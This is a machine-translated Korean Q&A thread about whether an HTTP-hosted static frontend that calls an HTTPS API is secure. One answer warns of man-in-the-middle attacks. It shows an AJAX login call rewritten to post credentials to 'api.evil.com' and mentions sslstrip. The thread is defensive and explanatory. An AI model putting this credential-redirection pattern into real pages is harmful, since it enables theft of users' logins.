2014-03-28 2 views
0

http://domain.com에있는 완전히 정적 인 프론트 엔드와 관련 데이터의 AJAX가 https://api.domain.com 인 경우, 둘 사이에 전송되는 모든 데이터는 안전 할 것입니다 (두 경우 모두 https 사용)?Ajax HTTPS이지만 HTTP에서 호스팅되는 정적 컨텐츠

이 모델의 잠재적 결함이 있습니까?

내가 묻는 이유는 아마존 S3와 같은 서비스를 사용하여 내 정적 웹 페이지를 호스팅하고 단순히 내 API에서 인증서를 지불 할 수 있기 때문입니다.

+1

제가 생각할 수있는 유일한 문제는 브라우저 바에서 SSL 인증서를 사용자에게 표시하지 않는다는 것입니다. – datasage

+1

[귀하의 로그인 양식이 HTTPS에 게시되지만 HTTP를 통해 로그인했을 때 그것을 날려 버렸습니다] (http://www.troyhunt.com/2013/05/your-login-form-posts-to-https-but-you .html) – SilverlightFox

+0

@SilverlightFox 마음에 그 대답을 게시 하시겠습니까? – tau

답변

1

이 모델로 인해 부분적으로 암호화 된 페이지 만 표시되고 자물쇠 및 https은 주소 표시 줄의 사용자에게 표시 될 수 없다는 점 외에도, (올바르게) 사이트가 정품인지 확인할 수 없습니다. 또한 MITM 공격을 HTTP 콘텐츠에서 실행하고 추가 통신을 공격자에게 재전송 할 수 있습니다.

공격자에게 전송됩니다 공격자가 피해자에 대한 서버의 응답을 차단

$.ajax({ 
    type: 'POST', 
    url: 'https://api.domain.com/LogIn', 

경우와

$.ajax({ 
    type: 'POST', 
    url: 'http://api.evil.com/LogIn', 
사용자의 자격 증명

에 수정 다음과 같이 HTTP를 통해로드하여 AJAX 코드가 될 수있다 귀하의 웹 사이트 대신에 귀하의 공격자가 귀하의 웹 사이트로 그들을 전달한 후 피해자는 그들의 정보가 도난당한 것이 현명하지 않을 것입니다.

sslstrip과 같은 도구를 사용하면 공격자가이 작업을 쉽게 수행 할 수 있습니다 (모든 MITM 공격의 요구 사항 인 적절한 위치에 있다고 가정).

+0

나를 경고 해 주셔서 감사합니다. 여기에 보안 stackexchange에서 시작된 관련 질문이 있습니다. http://security.stackexchange.com/questions/54744/https-login-vs-mitm-attack – tau

1

이 접근 방식이 좋습니다.

S3에 모든 액세스 및 정적 페이지를 유지하십시오 (Cloudfront를 사용하여 더 빠르게 진행하십시오). 하나의 좋은 예는 서비스의 홈 페이지, 일부 도움말 페이지 등입니다.이 페이지는 개인 페이지가 없기 때문에 http로있을 수 있습니다.

사용자가 로그인하여 "비공개"콘텐츠에 액세스해야하는 경우이를 https의 secure.domain.com과 같은 다른 도메인으로 보냅니다. 그런 다음 모든 콘텐츠가 안전하게 보호되고 사용자는 로그인을 할 때 브라우저에서 안전한 녹색 잠금을 볼 수 있으므로 로그인에 자신감을 갖게됩니다. API가 보안 도메인에서도 작동해야하는 개인 정보를 필요로하기 때문입니다.

관련 문제